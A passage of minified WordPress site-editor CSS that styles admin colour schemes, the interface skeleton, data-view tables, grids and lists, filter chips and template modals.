(min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-panel__header.interface-complementary-area-header__small{background:#fff;padding-left:4px}.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}@media (min-width:782px){.components-panel__header.interface-complementary-area-header__small{display:none}}.interface-complementary-area-header{background:#fff;padding-left:4px}.interface-complementary-area-header .components-button.has-icon{display:none;margin-right:auto}.interface-complementary-area-header .components-button.has-icon~.components-button{margin-right:0}@media (min-width:782px){.interface-complementary-area-header .components-button.has-icon{display:flex}.components-panel__header+.interface-complementary-area-header{margin-top:0}}.interface-complementary-area{background:#fff;color:#1e1e1e}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none;position:relative;z-index:0}.interface-complementary-area .components-panel__header{position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:48px}@media (min-width:782px){.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:0}}.interface-complementary-area p:not(.components-base-control__help){margin-top:0}.interface-complementary-area h2{color:#1e1e1e;font-size:13px;margin-bottom:1.5em}.interface-complementary-area h3{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.interface-complementary-area hr{border-bottom:1px solid #f0f0f0;border-top:none;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{bottom:10px;left:10px;right:auto;top:auto}@media (min-width:782px){body.js.is-fullscreen-mode{height:calc(100% + 32px);margin-top:-32px}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-right:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container{position:static;width:auto}}.interface-interface-skeleton{bottom:0;display:flex;flex-direction:row;height:auto;left:0;max-height:100%;position:fixed;top:46px}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex:0 1 100%;flex-direction:column;overflow:hidden}.interface-interface-skeleton{right:0}@media (min-width:783px){.interface-interface-skeleton{right:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{right:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{right:160px}}.folded .interface-interface-skeleton{right:0}@media (min-width:783px){.folded .interface-interface-skeleton{right:36px}}body.is-fullscreen-mode .interface-interface-skeleton{right:0!important}.interface-interface-skeleton__body{display:flex;flex-grow:1;overflow:auto;overscroll-behavior-y:none}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto;z-index:20}@media (min-width:782px){.interface-interface-skeleton__content{z-index:auto}}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{background:#fff;bottom:0;color:#1e1e1e;flex-shrink:0;left:0;position:absolute;right:0;top:0;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important;width:auto}.is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{z-index:90}}.interface-interface-skeleton__sidebar{overflow:auto}@media (min-width:782px){.interface-interface-skeleton__sidebar{border-right:1px solid #e0e0e0}.interface-interface-skeleton__secondary-sidebar{border-left:1px solid #e0e0e0}}.interface-interface-skeleton__header{border-bottom:1px solid #e0e0e0;color:#1e1e1e;flex-shrink:0;height:auto;z-index:30}.interface-interface-skeleton__footer{background-color:#fff;border-top:1px solid #e0e0e0;bottom:0;color:#1e1e1e;display:none;flex-shrink:0;height:auto;position:absolute;right:0;width:100%;z-index:90}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{align-items:center;background:#fff;display:flex;font-size:13px;height:24px;padding:0 18px;z-index:30}.interface-interface-skeleton__actions{background:#fff;bottom:auto;color:#1e1e1e;left:0;position:fixed!important;right:auto;top:-9999em;width:100vw;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__actions{width:280px}}.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{bottom:0;top:auto}.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:46px}@media (min-width:782px){.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{border-right:1px solid #ddd;top:32px}.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:0}}.interface-more-menu-dropdown{margin-right:-4px}.interface-more-menu-dropdown .components-button{padding:0 2px;width:auto}@media (min-width:600px){.interface-more-menu-dropdown{margin-right:0}.interface-more-menu-dropdown .components-button{padding:0 4px}}.interface-more-menu-dropdown__content .components-popover__content{min-width:300px}@media (min-width:480px){.interface-more-menu-dropdown__content .components-popover__content{max-width:480px}}.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{padding:0}.components-popover.interface-more-menu-dropdown__content{z-index:99998}.interface-pinned-items{display:flex;gap:8px}.interface-pinned-items .components-button{display:none;margin:0}.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{display:flex}.interface-pinned-items .components-button svg{max-height:24px;max-width:24px}@media (min-width:600px){.interface-pinned-items .components-button{display:flex}}.dataviews-wrapper{box-sizing:border-box;height:100%;overflow:auto;scroll-padding-bottom:64px;width:100%}.dataviews-filters__view-actions{flex-shrink:0;margin-bottom:12px;padding:12px 32px 0;position:sticky;right:0}.dataviews-filters__view-actions .components-search-control .components-base-control__field{max-width:240px}.dataviews-filters__container{padding-left:32px}.dataviews-filters-button{position:relative}.dataviews-pagination{background-color:#fff;border-top:1px solid #f0f0f0;bottom:0;color:#757575;flex-shrink:0;padding:12px 32px;position:sticky;right:0}.dataviews-pagination__page-selection{color:#1e1e1e;font-size:11px;font-weight:500;text-transform:uppercase}.dataviews-filters-options{margin:32px 0 16px}.dataviews-view-table-wrapper{overflow-x:auto}.dataviews-view-table{border-collapse:collapse;border-color:inherit;color:#757575;position:relative;text-indent:0;width:100%}.dataviews-view-table a{color:#1e1e1e;font-weight:500;text-decoration:none}.dataviews-view-table th{color:var(--wp-components-color-foreground,#1e1e1e);font-size:13px;font-weight:400;text-align:right}.dataviews-view-table td,.dataviews-view-table th{padding:12px;white-space:nowrap}.dataviews-view-table td[data-field-id=actions],.dataviews-view-table th[data-field-id=actions]{text-align:left}.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{padding-left:0}.dataviews-view-table td .components-checkbox-control__input-container,.dataviews-view-table th .components-checkbox-control__input-container{margin:4px}.dataviews-view-table tr{border-bottom:1px solid #f0f0f0}.dataviews-view-table tr .dataviews-view-table-header-button{gap:4px}.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-right:32px}.dataviews-view-table tr td:first-child .dataviews-view-table-header,.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{margin-right:-8px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-left:32px}.dataviews-view-table tr:last-child{border-bottom:0}.dataviews-view-table tr:hover{background-color:#f8f8f8}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{opacity:0}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate,.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:hover .components-checkbox-control__input{opacity:1}.dataviews-view-table tr.is-selected{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#757575}.dataviews-view-table tr.is-selected:hover{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-table thead{inset-block-start:0;position:sticky;z-index:1}.dataviews-view-table thead tr{border:0}.dataviews-view-table thead th{background-color:#fff;box-shadow:inset 0 -1px 0 #f0f0f0;font-size:11px;font-weight:500;padding-bottom:8px;padding-right:4px;padding-top:8px;text-transform:uppercase}.dataviews-view-table tbody td{vertical-align:top}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{align-items:center;display:flex;min-height:32px}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper>*{flex-grow:1}.dataviews-view-table .dataviews-view-table-header-button{font-size:11px;font-weight:500;padding:4px 8px;text-transform:uppercase}.dataviews-view-table .dataviews-view-table-header-button:not(:hover){color:#1e1e1e}.dataviews-view-table .dataviews-view-table-header-button span{speak:none}.dataviews-view-table .dataviews-view-table-header-button span:empty{display:none}.dataviews-view-table .dataviews-view-table-header{padding-right:4px}.dataviews-view-table .dataviews-view-table__actions-column{width:1%}.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{opacity:1}.dataviews-view-grid__primary-field,.dataviews-view-list__primary-field,.dataviews-view-table__primary-field{color:#1e1e1e;display:block;font-size:13px;font-weight:500;text-overflow:ellipsis;white-space:nowrap;width:100%}.dataviews-view-grid__primary-field a,.dataviews-view-list__primary-field a,.dataviews-view-table__primary-field a{color:inherit;display:block;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;width:100%}.dataviews-view-grid__primary-field a:hover,.dataviews-view-list__primary-field a:hover,.dataviews-view-table__primary-field a:hover{color:#1e1e1e}.dataviews-view-grid__primary-field a:focus,.dataviews-view-list__primary-field a:focus,.dataviews-view-table__primary-field a:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.dataviews-view-grid__primary-field button.components-button.is-link,.dataviews-view-list__primary-field button.components-button.is-link,.dataviews-view-table__primary-field button.components-button.is-link{color:inherit;display:block;font-weight:inherit;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;width:100%}.dataviews-view-grid{grid-template-columns:repeat(2,minmax(0,1fr))!important;grid-template-rows:max-content;margin-bottom:24px;padding:0 32px}@media (min-width:1080px){.dataviews-view-grid{grid-template-columns:repeat(3,minmax(0,1fr))!important}}@media (min-width:1440px){.dataviews-view-grid{grid-template-columns:repeat(4,minmax(0,1fr))!important}}.dataviews-view-grid .dataviews-view-grid__card{border:1px solid #e0e0e0;border-radius:4px;height:100%;justify-content:flex-start}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{padding:4px 4px 4px 8px}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__primary-field{min-height:40px}.dataviews-view-grid .dataviews-view-grid__card.is-selected{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{color:#1e1e1e}.dataviews-view-grid .dataviews-view-grid__media{aspect-ratio:1/1;background-color:#f0f0f0;border-bottom:1px solid #e0e0e0;border-radius:3px 3px 0 0;min-height:200px;width:100%}.dataviews-view-grid .dataviews-view-grid__media img{height:100%;object-fit:cover;width:100%}.dataviews-view-grid .dataviews-view-grid__fields{font-size:12px;line-height:16px;position:relative}.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){padding:0 12px 12px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{color:#757575}.dataviews-view-list{margin:0;padding:8px}.dataviews-view-list li{margin:0}.dataviews-view-list li .dataviews-view-list__item-wrapper{border-radius:4px;padding-left:24px;position:relative}.dataviews-view-list li .dataviews-view-list__item-wrapper:after{background:#f0f0f0;content:"";height:1px;left:24px;position:absolute;right:24px;top:100%}.dataviews-view-list li:not(.is-selected):hover,.dataviews-view-list li:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list li:not(.is-selected):hover .dataviews-view-list__primary-field{color:var(--wp-admin-theme-color)}.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper{background-color:var(--wp-admin-theme-color);color:#fff}.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper .components-button,.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__primary-field,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper .components-button,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__primary-field{color:#fff}.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper:after,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper:after{background:#0000}.dataviews-view-list .dataviews-view-list__item{cursor:pointer;padding:12px 24px 12px 0;width:100%}.dataviews-view-list .dataviews-view-list__item:focus:before{border-radius:4px;bottom:-1px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";left:-1px;position:absolute;right:-1px;top:-1px;z-index:-1}.dataviews-view-list .dataviews-view-list__item .dataviews-view-list__primary-field{min-height:20px}.dataviews-view-list .dataviews-view-list__media-wrapper{background-color:#f0f0f0;border-radius:4px;flex-shrink:0;height:40px;overflow:hidden;position:relative;width:40px}.dataviews-view-list .dataviews-view-list__media-wrapper img{height:100%;object-fit:cover;width:100%}.dataviews-view-list .dataviews-view-list__media-wrapper:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;position:absolute;right:0;top:0;width:100%}.dataviews-view-list .dataviews-view-list__media-placeholder{background-color:#e0e0e0;height:32px;min-width:32px}.dataviews-view-list .dataviews-view-list__fields{color:#757575;display:flex;flex-wrap:wrap;font-size:12px;gap:8px;line-height:16px}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:empty{display:none}.dataviews-view-list+.dataviews-pagination{justify-content:space-between}.dataviews-view-list .dataviews-view-list__details-button{align-self:center;opacity:0}.dataviews-view-list li.is-selected .dataviews-view-list__details-button,.dataviews-view-list li:focus-within .dataviews-view-list__details-button,.dataviews-view-list li:hover .dataviews-view-list__details-button{opacity:1}.dataviews-view-list li.is-selected .dataviews-view-list__details-button:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) currentColor}.dataviews-action-modal{z-index:1000001}.dataviews-loading,.dataviews-no-results{padding:0 32px}.dataviews-view-table-selection-checkbox label{height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;clip:rect(0,0,0,0);border:0;white-space:nowrap}.dataviews-filters__custom-menu-radio-item-prefix{display:block;width:24px}.dataviews-bulk-edit-button.components-button{flex-shrink:0}.dataviews-view-grid__title-actions .dataviews-view-table-selection-checkbox{margin-right:8px}.dataviews-view-grid__card.has-no-pointer-events *{pointer-events:none}.dataviews-filter-summary__popover .components-popover__content{border-radius:4px;padding:0;width:230px}.dataviews-search-widget-filter-combobox-list{border-top:1px solid #e0e0e0;max-height:184px;overflow:auto;padding:4px}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item{align-items:center;border-radius:2px;box-sizing:border-box;cursor:default;display:flex;gap:8px;margin-block-end:2px;padding:8px 12px}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:last-child{margin-block-end:0}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:focus,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:hover,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item[data-active-item]{background-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:#fff}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:focus .dataviews-search-widget-filter-combobox-item-check,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:hover .dataviews-search-widget-filter-combobox-item-check,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item[data-active-item] .dataviews-search-widget-filter-combobox-item-check{fill:#fff}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:focus .dataviews-search-widget-filter-combobox-item-description,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:hover .dataviews-search-widget-filter-combobox-item-description,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item[data-active-item] .dataviews-search-widget-filter-combobox-item-description{color:#fff}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item .dataviews-search-widget-filter-combobox-item-check{flex-shrink:0;height:24px;width:24px}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item .dataviews-search-widget-filter-combobox-item-value [data-user-value]{font-weight:600}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item .dataviews-search-widget-filter-combobox-item-description{color:#757575;display:block;font-size:12px;line-height:16px;overflow:hidden;text-overflow:ellipsis}.dataviews-search-widget-filter-combobox__wrapper{padding:8px;position:relative}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{background:#f0f0f0;border:none;border-radius:2px;box-shadow:0 0 0 #0000;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:32px;line-height:normal;margin-left:0;margin-right:0;padding:0 8px 0 32px;transition:box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{font-size:13px;line-height:normal}}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-input-placeholder{color:#1e1e1e9e}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-moz-placeholder{color:#1e1e1e9e;opacity:1}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input:-ms-input-placeholder{color:#1e1e1e9e}@media (min-width:600px){.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{font-size:13px}}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input:focus{background:#fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#007cba))}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::placeholder{color:#757575}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-results-decoration{-webkit-appearance:none}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__icon{align-items:center;display:flex;justify-content:center;left:12px;position:absolute;top:50%;transform:translateY(-50%);width:24px}.dataviews-filter-summary__operators-container{padding:8px 8px 0}.dataviews-filter-summary__operators-container:empty{display:none}.dataviews-filter-summary__operators-container .dataviews-filter-summary__operators-filter-name{color:#757575}.dataviews-filter-summary__chip-container{position:relative;white-space:pre-wrap}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip{align-items:center;background:#f0f0f0;border:1px solid #0000;border-radius:16px;color:#757575;cursor:pointer;display:flex;height:32px;padding:0 12px;position:relative}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-reset{padding-inline-end:28px}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip:focus-visible,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip:hover,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip[aria-expanded=true]{background:#e0e0e0;color:#1e1e1e}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-values{background:rgba(var(--wp-admin-theme-color--rgb),.04);color:var(--wp-admin-theme-color)}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-values:hover,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-values[aria-expanded=true]{background:rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip .dataviews-filter-summary__filter-text-name{font-weight:500}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove{align-items:center;background:#0000;border:0;border-radius:50%;cursor:pointer;display:flex;height:24px;justify-content:center;left:4px;padding:0;position:absolute;top:50%;transform:translateY(-50%);width:24px}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove svg{fill:#757575}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:focus,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:hover{background:#e0e0e0}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:focus svg,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:hover svg{fill:#1e1e1e}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove.has-values svg{fill:var(--wp-admin-theme-color)}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove.has-values:hover{background:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.edit-site-custom-template-modal__contents-wrapper{height:100%;justify-content:flex-start!important}.edit-site-custom-template-modal__contents-wrapper>*{width:100%}.edit-site-custom-template-modal__contents-wrapper__suggestions_list{margin-left:-12px;margin-right:-12px;width:calc(100% + 24px)}.edit-site-custom-template-modal__contents>.components-button{height:auto;justify-content:center}@media (min-width:782px){.edit-site-custom-template-modal{width:456px}}@media (min-width:600px){.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{max-height:224px;overflow-y:auto}}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{display:block;height:auto;overflow-wrap:break-word;padding:8px 12px;text-align:right;white-space:pre-wrap;width:100%}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{background:none;font-weight:700}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{color:var(--wp-admin-theme-color)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{background-color:#f0f0f0}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{display:block;overflow:hidden;text-overflow:ellipsis}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{color:#757575;word-break:break-all}.edit-site-custom-template-modal__no-results{border:1px solid #ccc;border-radius:2px;padding:16px}.edit-site-custom-generic-template__modal .components-modal__header{border-bottom:none}.edit-site-custom-generic-template__modal .components-modal__content:before{margin-bottom:4px}.edit-site-template-actions-loading-screen-modal{-webkit-backdrop-filter:none;backdrop-filter:none;background-color:initial}.edit-site-template-actions-loading-screen-modal.is-full-screen{background-color:#fff;box-shadow:0 0 0 #0000;min-height:100%;min-width:100%}.edit-site-template-actions-loading-screen-modal__content{align-items:center;display:flex;height:100%;justify-content:center;position:absolute;right:50%;transform:translateX(50%)}.edit-site-add-new-template__modal{margin-top:64px;max-height:calc(100% - 128px);max-width:832px;width:calc(100% - 64px)}@media (min-width:960px){.edit-site-add-new-template__modal{width:calc(100% - 128px)}}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{fill:var(--wp-admin-theme-color)}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{align-items:flex-start;flex-grow:1}.edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:100%;max-height:40px;max-width:40px;padding:8px}.edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{border:1px solid #ddd;border-radius:2px;display:flex;flex-direction:column;justify-content:center;outline:1px solid #0000;padding:32px}.edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{color:#1e1e1e}.edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{color:#757575}.edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:#0000;color:var(--wp-admin-theme-color-darker-10)}.edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{border-color:#0000;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:3px solid #0000}.edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{grid-column-end:4;grid-column-start:1}.edit-site-add-new-template__template-list__contents>.components-button{align-items:flex-start;height:100%;text-align:start}.edit-site-block-editor__editor-styles-wrapper .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;padding:6px 12px}.edit-site-block-editor__editor-styles-wrapper .components-button.has-icon,.edit-site-block-editor__editor-styles-wrapper .components-button.is-tertiary{padding:6px}.edit-site-editor-canvas__block-list.is-navigation-block{padding:24px}.edit-site-visual-editor{align-items:center;background-color:#ddd;display:block;height:100%;overflow:hidden;position:relative}.edit-site-visual-editor iframe{background:#fff;display:block;height:100%;width:100%}.edit-site-visual-editor .edit-site-visual-editor__editor-canvas.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid 